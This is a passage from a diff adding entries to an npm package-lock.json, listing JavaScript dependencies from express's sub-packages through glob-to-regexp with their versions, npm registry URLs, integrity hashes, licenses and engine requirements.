"serve-static": "~1.16.2", + "setprototypeof": "1.2.0", + "statuses": "~2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-equals": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/fast-equals/-/fast-equals-5.4.0.tgz", + "integrity": "sha512-jt2DW/aNFNwke7AUd+Z+e6pz39KO5rzdbbFCg2sGafS4mk13MI7Z8O5z9cADNn5lhGODIgLwug6TZO2ctf7kcw==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/fb-watchman": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "bser": "2.1.1" + } + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/file-loader/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/filelist": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz", + "integrity": "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.3.tgz", + "integrity": "sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz", + "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/filesize": { + "version": "8.0.7", + "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz", + "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz", + "integrity": "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "~2.4.1", + "parseurl": "~1.3.3", + "statuses": "~2.0.2", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dev": true, + "license": "MIT", + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/flat-cache": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz", + "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.3", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", + "dev": true, + "license": "ISC" + }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", + "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/fork-ts-checker-webpack-plugin": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz", + "integrity": "sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.8.3", + "@types/json-schema": "^7.0.5", + "chalk": "^4.1.0", + "chokidar": "^3.4.2", + "cosmiconfig": "^6.0.0", + "deepmerge": "^4.2.2", + "fs-extra": "^9.0.0", + "glob": "^7.1.6", + "memfs": "^3.1.2", + "minimatch": "^3.0.4", + "schema-utils": "2.7.0", + "semver": "^7.3.2", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=10", + "yarn": ">=1.0.0" + }, + "peerDependencies": { + "eslint": ">= 6", + "typescript": ">= 2.7", + "vue-template-compiler": "*", + "webpack": ">= 4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz", + "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.4", + "ajv": "^6.12.2", + "ajv-keywords": "^3.4.1" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", + "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs-monkey": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.1.0.tgz", + "integrity": "sha512-QMUezzXWII9EV5aTFXW1UBVUO77wYPpjqIF8/AviUCThNeSYZykpoTixUeaNNBwmCev0AMDWMAni+f8Hxb1IFw==", + "dev": true, + "license": "Unlicense" + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true, + "license": "ISC" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz", + "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "functions-have-names": "^1.2.3", + "hasown": "^2.0.2", + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/generator-function": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz", + "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-own-enumerable-property-symbols": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==", + "dev": true, + "license": "ISC" + }, + "node_modules/get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-symbol-description": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz", + "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true, + "license": 